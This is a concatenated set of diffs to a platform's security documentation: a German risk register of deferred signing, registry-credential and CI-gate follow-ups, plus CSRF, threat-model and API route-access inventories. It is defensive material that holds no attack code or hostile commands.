Risikoakzeptanz, keine Behebung und kein Ticket. Diese Datei muss bei der
nächsten Security-Härtungsrunde und vor Änderungen an Deploy-Credentials oder
CI-Qualitätsgates erneut geprüft werden.
| Suchmarker | Priorität | Status | Wieder aufnehmen |
| --- | --- | --- | --- |
| `SECURITY-FOLLOWUP-COSIGN` | Hoch | bewusst verschoben | Nächste Deploy-Härtungsrunde, spätestens vor einer Zusage signierter Herkunftsnachweise |
| `SECURITY-FOLLOWUP-REGISTRY-PULL` | Hoch | bewusst verschoben | Nächste Credential-Rotation oder Coolify-/Registry-Wartung |
| `CI-FOLLOWUP-RESTORE-QUALITY-GATES` | Mittel | temporäre CI-Ausnahme | Nach der kurzfristigen Beschleunigungsphase in den kommenden Tagen |
## SECURITY-FOLLOWUP-COSIGN
**Offenes Risiko:** Die Gitea-Deploy-Pipeline signiert Images derzeit nur,
wenn `COSIGN_PRIVATE_KEY` und `COSIGN_PASSWORD` vorhanden sind. Fehlende Keys
werden skip-safe behandelt. Ein öffentlicher Schlüssel ist nicht eingecheckt,
und vor Promote bzw. Coolify-Deployment gibt es keine fail-closed
Signaturprüfung. Ein Registry- oder Credential-Angriff könnte deshalb nicht
zuverlässig von einem autorisierten Build unterschieden werden.
**Externe Voraussetzung:** Ein Operator erzeugt und verwahrt das Schlüsselpaar
außerhalb des Repositories und setzt die geschützten Gitea-Secrets. Der private
Schlüssel gehört ausschließlich in die geschützte Gitea-CI-Secret-Ablage,
nicht nach Coolify oder auf Runtime-Hosts.
**Abnahmekriterien:**
1. `COSIGN_PRIVATE_KEY` und `COSIGN_PASSWORD` sind als geschützte
Repository-Secrets gesetzt; der öffentliche Schlüssel liegt als
`cosign.pub` im Repo.
2. Stage schlägt fehl, wenn die Signing-Konfiguration fehlt oder Signieren
fehlschlägt.
3. Alle deployten Targets werden digestgebunden signiert: `web`, `api`,
`worker`, `mcp`, `hocuspocus` und `portal-domain-controller`.
4. Jede dieser Signaturen wird nach Stage und vor Promote/Coolify-Mutation
gegen Digest und `cosign.pub` fail-closed geprüft.
5. Die derzeit deaktivierte Provenance-Erzeugung wird entweder aktiviert und
verifiziert oder in einer eigenen, dokumentierten Entscheidung begründet.
6. Workflow-Verifier und Tests decken fehlende Keys, fehlende Signaturen,
falsche Digests und alle sechs Targets ab.
7. Abschluss-Proof: grüner Stage- und Promote-Lauf sowie erfolgreiche
`cosign verify`-Nachweise für alle sechs Images; kein Signing-Skip im Lauf.
## SECURITY-FOLLOWUP-REGISTRY-PULL
**Offenes Risiko:** Der letzte dokumentierte Prod-Rollout verwendete
`gitea-admin` zum Registry-Pull. Diese Credential hat deutlich mehr Rechte als
ein Runtime- oder Coolify-Pull benötigt. Ein Leak auf einem Host oder in
Coolify hätte dadurch einen unnötig großen Blast Radius.
**Externe Voraussetzung:** Ein persönlicher Developer-Token und insbesondere
`gitea-admin` dürfen für diese Änderung nicht verwendet werden. Ein Operator
muss ein dediziertes Servicekonto beziehungsweise einen read-only PAT mit
minimalem Package-Zugriff bereitstellen und die externen Coolify-/Host-
Credentials rotieren.
**Abnahmekriterien:**
1. Dediziertes Konto, beispielsweise `hivegrid-registry-pull`, mit reinem
Lesezugriff auf die HiveGrid-Containerpakete; keine Repo-Schreib-,
Organisations- oder Admin-Rechte.
2. Registry-Credentials in Prod-Coolify und auf allen noch direkt pullenden
Hosts auf das neue Konto rotieren.
3. Pull eines unveränderlichen Full-SHA-Tags für jedes benötigte Image
erfolgreich verifizieren.
4. Alte Admin-PATs und gespeicherte Docker-Credentials nach erfolgreichem
Cutover widerrufen beziehungsweise entfernen.
5. Gitea-Audit-Logs auf unerwartete Nutzung der alten Credential prüfen.
6. Dieses Runbook mit Datum und redigiertem Proof aktualisieren; keine Tokens,
Tokenfragmente oder Registry-Passwörter dokumentieren.
## CI-FOLLOWUP-RESTORE-QUALITY-GATES
**Temporäre Ausnahme:** Für eine kurzfristig schnellere CI wurden die aktiven
Gitea-Workflows für Coverage und Bundle-Budget entfernt und der
Bundle-Budget-Aufruf aus der Haupt-CI gelöst. Die zugrunde liegenden
Verifier, Konfigurationen und die Legacy-/Mirror-Workflows bleiben erhalten.
Bis zur Wiederherstellung können Coverage-Rückgänge und Bundle-Wachstum ohne
dedizierten Gitea-Report passieren.
**Abnahmekriterien:**
1. `.gitea/workflows/coverage.yml` und
`.gitea/workflows/bundle-budget.yml` wiederherstellen.
2. Bundle-Budget wieder in die aktive Haupt-CI und ihre Workflow-Verifier
einbinden.
3. Concurrency-, Wiring- und Reporting-Tests für beide Workflows wieder
aktivieren beziehungsweise auf den ursprünglichen Vertrag zurückführen.
4. Coverage- und Bundle-Budget-Läufe auf dem dann aktuellen `main` grün
ausführen; Baselines nur mit expliziter Review anheben.
5. Diese Ausnahme mit Datum und CI-Run-Proof als abgeschlossen markieren.
## Im Repository behobene Befunde
- Formel-Injection in Spreadsheet-Exports neutralisiert.
- Collaboration-Berechtigungen serverseitig erzwungen.
- Backup-/Restore-Eingaben und Trust-Grenzen gehärtet.
- Trusted-Proxy-/Client-IP-Auflösung gegen gespoofte Header gebunden.
- Ausführbare Supply-Chain-Inputs, Container-Images und externe Quellen
unveränderlich gepinnt.
- Bekannte Dependency-Advisories behoben.
- Secret-Scan auf alle von Git getrackten Dateien und zusätzliche
Credential-Muster erweitert.
- Verschlüsselte Dev-Secrets aus dem Docker-Build-Kontext ausgeschlossen.
Der technische Proof und die einzelnen atomaren Commits stehen im zugehörigen
PR. Operative Geheimnisse oder externe Credential-Werte gehören ausdrücklich
nicht in diese Datei.
@@ -18,22 +18,34 @@ Expected behavior:
Protected React Router POST form surfaces must either submit a `csrf` field or route through server-side CSRF validation. The current enforced protected form entry is:
| Surface | Protection | Enforced by |
| --- | --- | --- |
| `apps/web/app/modules/users/components/RegisterForm.tsx` | Hidden `csrf` field with server-side validation in the auth flow | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/utils/session.server.test.ts` |
| Surface | Protection | Enforced by |
| --------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------- |
| `apps/web/app/modules/users/components/RegisterForm.tsx` | Hidden `csrf` field with server-side validation in the auth flow | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/utils/session.server.test.ts` |
| `apps/web/app/routes/app.$tenant/calls.$id.tsx` | Programmatic note, match, and callback POSTs append the root-session token and validate the already parsed `FormData` before tenant access | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/routes/app.$tenant/telephony.routes.test.ts` |
| `apps/web/app/routes/app.$tenant/settings.integrations.telephony.tsx` | Programmatic health, binding, and disconnect POSTs append the root-session token and validate the already parsed `FormData` before tenant access | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/routes/app.$tenant/telephony.routes.test.ts` |
| `apps/web/app/routes/app.$tenant/telephony.push-subscription.ts` | JSON registration requires the root-session token in the CSRF header, rejects tenant/user fields from the client, and persists only after membership, module, permission, and tenant-RLS checks | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/routes/app.$tenant/telephony.push-subscription.test.ts` |
| Contact, company, lead, and project detail routes | Embedded Aircall Click-to-Call POSTs append the root-session token, validate it before the tenant-scoped number-to-entity check, and keep `tel:` fallback entirely client-side | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/modules/telephony/services/TelephonyService.server.test.ts` |
| `apps/web/app/routes/integrations.aircall.oauth.install.tsx` | Marketplace GET renders only a read-only entry or confirmation screen. Only its CSRF-protected POST reserves the tenant slot and redirects to Aircall after membership, module, and `telephony.manage` checks | `apps/web/app/utils/session-csrf-sweep.test.ts`, `apps/web/app/routes/integrations.aircall.oauth.routes.test.ts` |
The sweep intentionally reports path-specific diagnostics so any newly added protected `Form` or `fetcher.Form` with `method="post"` must be added with a clear protection path instead of silently bypassing CSRF.
### Telephony read and callback routes
| Surface | Classification |
| ------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `apps/web/app/routes/app.$tenant/calls._index.tsx` | Read-only tenant route; requires an active session, tenant membership, enabled Telephony module, and call-read permission before RLS-scoped reads. |
| `apps/web/app/routes/integrations.aircall.oauth.callback.tsx` | Provider GET callback; requires a valid short-lived HMAC-signed state bound to tenant, initiating user, and connection slot, then re-checks the active session, membership, module, and `telephony.manage` permission before token exchange. |
## Documented Web Exceptions
These browser-facing mutating surfaces are intentional non-CSRF exceptions because they are public entry points that create or recover sessions, accept invitation input, or otherwise run before a signed-in CSRF-bearing session exists.
| Surface | Rationale / alternate guard |
| --- | --- |
| Surface | Rationale / alternate guard |
| ----------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- |
| `apps/web/app/modules/users/components/LoginForm.tsx` | Public credential exchange creates a session before CSRF exists; guarded by authentication checks rather than an existing session token. |
| `apps/web/app/routes/forgot-password.tsx` | Public password-reset request surface; protection is request-specific reset flow handling rather than a prior session CSRF token. |
| `apps/web/app/routes/invitation.$id.tsx` | Public invitation acceptance surface addressed by invitation context; does not rely on an existing authenticated browser session. |
| `apps/web/app/routes/reset.tsx` | Public password-reset completion surface; guarded by reset-flow state rather than a prior session CSRF token. |
| `apps/web/app/routes/forgot-password.tsx` | Public password-reset request surface; protection is request-specific reset flow handling rather than a prior session CSRF token. |
| `apps/web/app/routes/invitation.$id.tsx` | Public invitation acceptance surface addressed by invitation context; does not rely on an existing authenticated browser session. |
| `apps/web/app/routes/reset.tsx` | Public password-reset completion surface; guarded by reset-flow state rather than a prior session CSRF token. |
Keep these exceptions path-specific. Broad directory or glob exceptions would make future protected forms unverifiable.
@@ -41,14 +53,20 @@ Keep these exceptions path-specific. Broad directory or glob exceptions would ma
The Hono API under `/v1` is not protected by browser-session CSRF. Mutating API endpoints are classified by dedicated authentication or public-ingress semantics in `apps/api/src/csrf-inventory.test.ts`.
| Class | Routes | Rationale |
| --- | --- | --- |
| `auth-credential-exchange` | `POST /v1/auth/login` | Exchanges submitted credentials for an API JWT after credential verification. |
| `jwt-auth` | `POST /v1/auth/refresh-token`, `POST /v1/auth/logout` | Requires an existing bearer JWT before issuing a replacement token or revoking the active API session. |
| `optional-api-key-validation` | `POST /v1/api-keys/validate` | Public validation surface that classifies supplied API keys or service tokens without browser CSRF state. |
| `service-token` | `POST /v1/ai/upload`, `POST /v1/maintenance/export-retention/enqueue`, `POST /v1/workspaces/:tenantId/context/revalidate`, `POST /v1/workspaces/:tenantId/invites`, `POST /v1/workspaces/:tenantId/invites/:inviteId/accept`, `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | Requires service/runtime credentials rather than browser CSRF state. |
| `webhook-signature` | `POST /v1/events/webhooks/attempts/:id`, `POST /v1/support/inbound-email`, `POST /v1/email-sequences/mailjet/webhooks`, `POST /v1/billing/mollie/webhooks` | Requires signed webhook headers before queueing retry work, accepting inbound support email, correlating sequence provider bounces, or processing billing lifecycle events. |
| `public-analytics-token` | `POST /v1/analytics/events`, `POST /v1/analytics/page-views` | Public analytics write ingress scoped to analytics payload identifiers and analytics-token semantics, not a browser session. |
| Class | Routes | Rationale |
| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `auth-credential-exchange` | `POST /v1/auth/login` | Exchanges submitted credentials for an API JWT after credential verification. |
| `jwt-auth` | `POST /v1/auth/refresh-token`, `POST /v1/auth/logout` | Requires an existing bearer JWT before issuing a replacement token or revoking the active API session. |
| `optional-api-key-validation` | `POST /v1/api-keys/validate` | Public validation surface that classifies supplied API keys or service tokens without browser CSRF state. |
| `platform-source-credential` | `POST /v1/platform/leads` | Server-to-server lead ingestion requires a rotatable source-scoped bearer capability and mandatory source-partitioned idempotency instead of browser-session CSRF state. |
| `service-token` | `POST /v1/maintenance/export-retention/enqueue`, `POST /v1/workspaces/:tenantId/context/revalidate`, `POST /v1/workspaces/:tenantId/invites`, `POST /v1/workspaces/:tenantId/invites/:inviteId/accept`, `POST /v1/workspaces/:tenantId/invites/:inviteId/revoke` | Requires service/runtime credentials rather than browser CSRF state. |
| `webhook-signature` | `POST /v1/events/webhooks/attempts/:id`, `POST /v1/support/inbound-email`, `POST /v1/email/inbound-mailjet`, `POST /v1/email-sequences/mailjet/webhooks` | Requires signed webhook credentials before queueing retry work, accepting inbound support or tenant email, or correlating sequence provider bounces. |
| `provider-hmac-webhook` | `POST /v1/admin-sales/email/provider-events`, `POST /v1/billing/lago/webhooks` | Requires the provider-specific HMAC contract over the exact bounded request body before binding an AdminUser or tenant RLS context or persisting provider lifecycle changes. |
| `webhook-signature` | `POST /v1/admin-sales/email/bcc-inbound` | Requires provider Basic-Auth plus one signed, rotatable BCC recipient capability before binding AdminUser RLS context or persisting an external send copy. |
| `provider-body-token-webhook` | `POST /v1/webhooks/telephony/aircall`, `POST /v1/webhooks/admin-telephony/aircall` | Authenticates the bounded Aircall body token against its stored hash before resolving tenant or AdminUser context and persisting idempotent call state; neutral responses disclose no credential, tenant, or AdminUser state. |
| `provider-header-token-webhook` | `POST /v1/webhooks/telephony/hallopetra` | Authenticates the dedicated bearer webhook secret against its stored hash and encrypted connection credential before resolving tenant context and persisting idempotent post-call state; neutral responses disclose no credential or tenant state. |
| `provider-refetch-webhook` | `POST /v1/billing/mollie/webhooks` | Accepts only an opaque payment id and refetches the authoritative payment from Mollie server-side before tenant-scoped billing writes. |
| `public-analytics-token` | `POST /v1/analytics/events`, `POST /v1/analytics/page-views` | Browser-facing ingest capability accepts only a bounded anonymous visitor identifier, rejects user/portal identity fields, and writes tenantless records without browser-session authority. |
Any new `POST`, `PATCH`, or `DELETE` `/v1` route must be classified in the API inventory test with an allowed protection class and a non-empty rationale.
@@ -1,5 +1,9 @@
# Container Image Signing (cosign)
> **Offener Security-Nachzug:** Signing ist noch optional und wird vor Promote
> nicht fail-closed verifiziert. Status und Abnahmekriterien stehen unter
> [`SECURITY-FOLLOWUP-COSIGN`](./SECURITY-AUDIT-2026-07-22.md#security-followup-cosign).
The Gitea deploy workflow (`.gitea/workflows/deploy.yml`) attempts to sign every
container image it publishes to the Gitea Package Registry using
[cosign](https://docs.sigstore.dev/cosign/overview/) with a long-lived keypair.
@@ -17,6 +21,9 @@ full-SHA tag:
- `{registry}/{namespace}/web:<sha>`
- `{registry}/{namespace}/api:<sha>`
- `{registry}/{namespace}/worker:<sha>`
- `{registry}/{namespace}/mcp:<sha>`
- `{registry}/{namespace}/hocuspocus:<sha>`
- `{registry}/{namespace}/portal-domain-controller:<sha>`
Because cosign signatures are bound to the manifest digest (not the tag), the
`:staging` and `:main` aliases that are later created via
@@ -41,8 +48,9 @@ cosign generate-key-pair
# emits cosign.key (private, set as COSIGN_PRIVATE_KEY) and cosign.pub (public)
```
Commit the resulting `cosign.pub` to the repository root (optional but
recommended) so downstream verifiers can fetch it directly from Git.
The public key is not currently committed. Adding `cosign.pub` to the
repository root and making signing plus verification fail-closed are explicit
acceptance criteria in the linked security follow-up.
## Verifying an image
@@ -27,8 +27,9 @@ The following systems are in scope for authorised testing. Replace `<env>` with
- `https://realtime.<env>.<your-domain>` — Hocuspocus collaboration WebSocket
- `https://app.<env>.<your-domain>/.well-known/security.txt`
- `https://app.<env>.<your-domain>/embed/forms/*` — form-widget embed surface
- `https://app.<env>.<your-domain>/api/leads/capture` — marketing lead-capture endpoint
- `https://cdn.<env>.<your-domain>/widget.js` and `marketing.js` — public widget bootstraps
- `https://api.<env>.<your-domain>/v1/platform/leads` — credentialed native platform-lead intake (operator-provided test source only)
- `https://app.<env>.<your-domain>/api/leads/capture` — retired endpoint; verify 410/no-write drain behavior only
- `https://cdn.<env>.<your-domain>/widget.js` — public form-widget bootstrap (`marketing.js` is removed)
### Tenant data plane
@@ -25,7 +25,7 @@ Severity scale here: **Critical** = production-blocker, **High** = remediate bef
| F-008 | Medium | A-06 | **closed 2026-05-19** | `validatePluginMigration` now caps statement count at `DEFAULT_MAX_STATEMENTS_PER_MIGRATION` (32); per-call `maxStatements` override available. Code `too_many_statements` on `PluginMigrationError`. 3 new tests. |
| F-009 | Medium | A-07 | **closed 2026-05-19** | `installPlugin` now rejects when the tenant has reached `PLUGIN_MAX_INSTALLS_PER_TENANT` (default 50; set to 0 to disable). New code `tenant_install_limit_exceeded` → HTTP 429. 3 new tests. |
| F-010 | Low | A-08 | closed (test landed 2026-05-19, commit `bf639ac7`) | CSRF body-consumption regression — verified safe when `x-csrf-token` header is set; install route documents this contract. Negative-path test confirms a clean error (not the opaque undici `TypeError: unusable`) when callers omit the header. |
| F-011 | Medium | A-08 | **closed 2026-05-19** | Install route now runs a SharedStore sliding-window rate limiter (`createSlidingWindowRateLimiter`) keyed on `tenant:<id>`. Default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over-limit returns 429 + `Retry-After: 60`. Production fails closed on infra errors unless `PLUGIN_RATE_LIMIT_FAIL_OPEN=true` is explicitly configured; non-production remains fail-open for operator ergonomics. 3 new tests cover allowed/denied/infra-error paths. |
| F-011 | Medium | A-08 | **hardened 2026-07-12** | Install route now runs a SharedStore sliding-window limiter with HMAC-pseudonymized tenant/client buckets. Default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over-limit returns 429 + `Retry-After: 60`. Infrastructure failures return 503 in every environment; no fail-open escape hatch remains. Regression tests cover allowed, denied and infrastructure-error paths. |
| F-012 | Medium | A-09 | **closed 2026-05-26** | Plugin hook fanout is now wired: `plugin.hook.*` outbox events route to `outbox.plugin-hook`, the general worker's `plugin-hook-fanout` consumer scopes enabled-plugin lookup by `tenantId`, filters manifest-declared hooks, and enqueues one idempotent `hivegrid.plugin-invoke` job per subscriber. Sandbox execution remains isolated on `WORKER_QUEUE_GROUP=plugin`. The fanout path is tenant-scoped and does not cross tenant boundaries. |
| F-013 | Low | A-10 | **accepted-residual 2026-05-19** | A tenant user with control over plugin input can drive their own plugin to auto-disable. Confirmed not a privilege escalation: the threat-model invariant is that disabling a plugin for one's own tenant is not a security boundary. Documented in plugin-threat-model.md A-10 "Elevation" row. |
| F-014 | Medium | A-12 | **closed 2026-05-19** | `sanitizePluginOutput` now carries a total-bytes budget across the walk (default 1 MiB, env override `PLUGIN_SANITIZE_TOTAL_BUDGET_BYTES`). Once exhausted further string leaves become `[SIZE_LIMIT]` markers. The output-size budget is closed; the remaining caveat is regex-based sanitization for encoded secrets. 4 new tests cover budget exhaustion in objects + arrays, default-fits cases, and invalid-env fallback. |
@@ -123,7 +123,7 @@ Mitigation links use `file:line` for the primary anchor. **Every linked line mus
| **Tampering** | Modified body bypasses validation. | Body parsed as JSON; required fields explicitly checked before install. The lifecycle service then enforces the production runtime gate, Zod manifest validation, inclusive host-version range, trusted-key match, disk binary verification, submitted SHA match, duplicate `pluginId` rejection, and tenant install cap. | None for declared fields. |
| **Repudiation** | Admin denies install. | `resolveActor` captures user id + IP into the audit (`api.tenants.$tenant.plugins.tsx:88-100`). | None. |
| **Info disclosure** | Error message leaks internal state. | `PluginLifecycleError` codes are enumerated (`PluginLifecycleService.ts:35-44`); messages are operator-controlled. | None significant. |
| **DoS** | Repeated installs DOS the DB. | Permission gate `app.plugins.manage` + tenant scoping limit blast radius. F-011 is closed: the install route uses a SharedStore sliding-window limiter keyed by `tenant:<id>` with default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over limit returns 429 + `Retry-After: 60`. | Production fails closed on limiter infrastructure errors by default; fail-open is allowed only when explicitly configured with `PLUGIN_RATE_LIMIT_FAIL_OPEN=true`. |
| **DoS** | Repeated installs DOS the DB. | Permission gate `app.plugins.manage` + tenant scoping limit blast radius. F-011 is closed: the install route uses a SharedStore sliding-window limiter with pseudonymous tenant/client keys and default `PLUGIN_INSTALL_RATE_LIMIT_PER_MIN=5`; over limit returns 429 + `Retry-After: 60`. Infrastructure failures return 503 in every environment. | Edge throttling remains useful against distributed traffic before application authentication. |
| **Elevation** | Non-admin user calls install. | `verifyUserHasPermission(request, "app.plugins.manage", tenantId)` (`api.tenants.$tenant.plugins.tsx:72-76`). | None. |
### A-09 — Hook outbox events
@@ -13,7 +13,7 @@ the typed source of truth.
- Scanner reference: `tools/api-inventory/scan-api-routes.ts` discovers `app.get/post/patch/delete` route registrations from `apps/api/src/app.ts` for coverage checks.
- Verification: `apps/api/src/route-access-inventory.test.ts` checks scanner-discovered route coverage and OpenAPI security expectations; `apps/api/src/route-access-inventory-doc.test.ts` checks this document for drift.
- Route keys are written as `METHOD path` and must match the typed inventory exactly once.
- This inventory covers all current Hono API routes, including health, documentation, authentication, analytics, accounts, usage, notifications, workspaces, entity, relationship, export, webhook, maintenance, and AI upload surfaces.
- This inventory covers all current Hono API routes, including health, documentation, authentication, analytics, platform-lead ingestion, accounts, usage, notifications, workspaces, entity, relationship, export, webhook, and maintenance surfaces.
- Adjacent coverage: `docs/security/csrf-inventory.md` documents CSRF posture and mutating API route classes. This document references that coverage but does not duplicate its mutating-route-only table.
## Redaction Rules
@@ -25,69 +25,81 @@ the typed source of truth.
## Access Class Legend
| Class | Boundary |
| --- | --- |
| `public-health` | Unauthenticated infrastructure health or readiness endpoint exposing only service/dependency status metadata. |
| `public-docs` | Unauthenticated API documentation or schema discovery surface exposing schema metadata only. |
| `service-token` | Service/API-token style boundary, including stored API key or service credential checks where implemented. |
| `service-or-tenant-api-key` | Service credential or tenant-bound stored API-key boundary with route-specific tenant and permission checks. |
| `optional-api-key-validation` | Public validation helper that optionally accepts a presented stored API key or service token and returns redacted validation status. |
| `tenant-api-key` | Tenant-bound stored API-key boundary where the credential scopes the tenant and available usage metadata. |
| `tenant-webhook-credential` | Tenant-bound incoming webhook credential boundary using a stored API key, hashed webhook token, or HMAC signature tied to a tenant endpoint. |
| `jwt-auth` | Bearer JWT authenticated user boundary. |
| `auth-credential-exchange` | Public credential exchange that consumes submitted credentials and issues authenticated API state after validation. |
| `public-analytics-token` | Public analytics ingress or aggregate read surface scoped by analytics token/payload semantics rather than browser session state. |
| `webhook-signature` | Signed webhook ingress boundary that verifies provider signing headers before processing an addressed webhook retry. |
| `provider-refetch-webhook` | Provider webhook ingress that trusts only an opaque provider object id, refetches the authoritative record from the provider server-side, and syncs redacted tenant-scoped metadata instead of the posted payload. |
| `canonical-redirect` | Runtime-only compatibility shim that redirects removed API-prefix requests to the canonical API path without reading request data. |
| Class | Boundary |
| ----------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `public-health` | Unauthenticated infrastructure health or readiness endpoint exposing only service/dependency status metadata. |
| `public-docs` | Unauthenticated API documentation or schema discovery surface exposing schema metadata only. |
| `service-token` | Service/API-token style boundary, including stored API key or service credential checks where implemented. |
| `platform-source-credential` | Pre-tenant platform-lead boundary using a rotatable, source-scoped bearer capability that selects only its configured source. |
| `service-or-tenant-api-key` | Service credential or tenant-bound stored API-key boundary with route-specific tenant and permission checks. |
| `optional-api-key-validation` | Public validation helper that optionally accepts a presented stored API key or service token and returns redacted validation status. |
| `tenant-api-key` | Tenant-bound stored API-key boundary where the credential scopes the tenant and available usage metadata. |
| `tenant-webhook-credential` | Tenant-bound incoming webhook credential boundary using a stored API key, hashed webhook token, or HMAC signature tied to a tenant endpoint. |
| `provider-body-token-webhook` | Provider webhook ingress authenticated by a bounded write-only token in the request body, resolved through a stored hash and re-verified against the encrypted connection credential before tenant-bound processing. |
| `provider-header-token-webhook` | Provider webhook ingress authenticated by a bounded write-only bearer token in a request header, resolved through a stored hash and re-verified against the encrypted connection credential before tenant-bound processing. |
| `provider-hmac-webhook` | Provider webhook ingress authenticated with the provider-specific HMAC contract over the exact bounded request body before identity context binding or persistence. |
| `jwt-auth` | Bearer JWT authenticated user boundary. |
| `auth-credential-exchange` | Public credential exchange that consumes submitted credentials and issues authenticated API state after validation. |
| `public-analytics-token` | Browser-facing anonymous analytics ingestion capability; it never authorizes analytics reads or identity attribution. |
| `public-analytics-overview` | Unauthenticated tenantless aggregate read enabled only by the operator-controlled public analytics setting and isolated platform analytics RLS context. |
| `webhook-signature` | Signed webhook ingress boundary that verifies provider signing headers before processing an addressed webhook retry. |
| `provider-refetch-webhook` | Provider webhook ingress that trusts only an opaque provider object id, refetches the authoritative record from the provider server-side, and syncs redacted tenant-scoped metadata instead of the posted payload. |
| `canonical-redirect` | Runtime-only compatibility shim that redirects removed API-prefix requests to the canonical API path without reading request data. |
## Full Route Access Table
| Route | Access class | Sensitive data note | Rationale |
| --- | --- | --- | --- |
| `GET /healthz` | `public-health` | No sensitive data. | Unauthenticated liveness probe returns only service status and request correlation metadata. |
| `GET /readyz` | `public-health` | Dependency health state is exposed without implementation details. | Unauthenticated readiness probe returns redacted dependency status for infrastructure checks. |
| `GET /v1/health` | `public-health` | No sensitive data. | Versioned liveness probe returns only service status and request correlation metadata. |
| `GET /v1/openapi.json` | `public-docs` | No sensitive data. | OpenAPI discovery is intentionally public for client integration and contains schema metadata only. |
| `GET /v1/docs` | `public-docs` | No sensitive data. | Documentation shell is intentionally public and renders the OpenAPI document without runtime data. |
| `GET /v1/session/current-user` | `service-token` | Returns authenticated principal type metadata only. | Current service principal endpoint requires a bearer service token before returning authentication state. |
| `POST /v1/auth/login` | `auth-credential-exchange` | Consumes credentials and returns a JWT plus basic user identity. | Login exchanges submitted email and password credentials for a short-lived JWT after password verification. |
| `POST /v1/auth/refresh-token` | `jwt-auth` | Returns a JWT plus basic user identity. | Refresh requires an existing bearer JWT before issuing a replacement token for the same user. |
| `POST /v1/auth/logout` | `jwt-auth` | Consumes JWT credential material but returns only a success envelope and expired cookie attributes. | Logout requires an existing bearer JWT before revoking the active API session and clearing the API cookie. |
| `POST /v1/api-keys/validate` | `optional-api-key-validation` | Returns redacted stored API-key metadata but never plaintext key material. | API-key validation optionally accepts a presented stored API key or service token and reports redacted validation status without requiring a prior credential. |
| `POST /v1/ai/upload` | `service-token` | Consumes uploaded file content and may return a public storage URL. | AI upload writes request content through configured service storage credentials and depends on server-side upload configuration. |
| `POST /v1/support/inbound-email` | `webhook-signature` | Consumes signed email metadata and message body while omitting provider payloads and signing material from responses. | Inbound support email verifies Mailjet webhook signing headers before resolving tenant inbound addresses and creating tickets. |
| `POST /v1/analytics/events` | `public-analytics-token` | Consumes analytics identifiers, URLs, routes, and event labels. | Analytics event ingestion is public-facing and scoped by analytics payload identifiers rather than browser session state. |
| `POST /v1/analytics/page-views` | `public-analytics-token` | Consumes analytics identifiers, URLs, and route names. | Analytics page-view ingestion is public-facing and scoped by analytics payload identifiers plus ignore-page settings. |
| `GET /v1/analytics/public` | `public-analytics-token` | Returns aggregate analytics counts and top-level chart data. | Public analytics overview requires the analytics token header before returning aggregate metrics. |
| `GET /v1/analytics/admin` | `service-token` | Returns aggregate analytics metrics that may be scoped to a portal identifier. | Admin analytics overview requires service credentials before returning tenant or portal scoped metrics. |
| `GET /v1/notifications/stream` | `service-token` | Returns bounded, sanitized notification delivery snapshots and cursors without provider payloads, metadata, or raw delivery secrets. | Notification stream requires service credentials before returning tenant and user scoped in-app delivery diagnostics over SSE. |
| `GET /v1/accounts` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account listing requires service credentials before returning tenant account metadata and subscription summaries. |
| `GET /v1/accounts/:id` | `service-token` | Returns tenant identifiers, names, slugs, icons, and subscription summary fields without plaintext secrets. | Account lookup requires service credentials before returning one tenant account metadata and subscription summary. |
| `GET /v1/usage` | `tenant-api-key` | Returns plan and remaining API usage metadata for the credential-scoped tenant. | Usage lookups enter through the canonical API host and validate tenant API-key credentials in the API runtime. |
| `GET /v1/contacts` | `tenant-api-key` | Returns redacted contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API contact reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/companies` | `tenant-api-key` | Returns redacted organisation contact fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API company reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/deals` | `tenant-api-key` | Returns redacted sales-pipeline project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API deal reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/projects` | `tenant-api-key` | Returns redacted project fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API project reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/tasks` | `tenant-api-key` | Returns redacted task fields for the credential-scoped tenant; internal notes and credential material are omitted. | Public API task reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `GET /v1/leads` | `tenant-api-key` | Returns redacted lead-inbox fields for the credential-scoped tenant; raw payloads, anti-spam internals and credential material are omitted. | Public API lead reads validate a tenant-bound API-key credential before querying only that credential's tenant scope. |
| `POST /v1/webhooks/incoming/:tenant/:slug` | `tenant-webhook-credential` | Consumes third-party lead payloads and stores redacted ingestion metadata; API keys, webhook tokens, HMAC material and raw signing secrets are omitted from responses. | Incoming public webhooks enter through the canonical API host, resolve the tenant endpoint, validate the endpoint credential mode and create only tenant-scoped lead intake records. |
| `POST /v1/billing/mollie/webhooks` | `provider-refetch-webhook` | Consumes a provider payment id and stores redacted billing lifecycle metadata without returning provider payloads or plaintext credentials. | Mollie billing webhook ingress accepts only the provider payment id, refetches that payment from Mollie server-side, and syncs only tenant-scoped billing metadata from the verified payment. |
| `POST /v1/email-sequences/mailjet/webhooks` | `webhook-signature` | Consumes signed delivery event metadata while responses omit provider payloads, recipient data, and signing material. | Email-sequence provider webhooks verify Mailjet signing headers before correlating bounce events to provider message ids. |
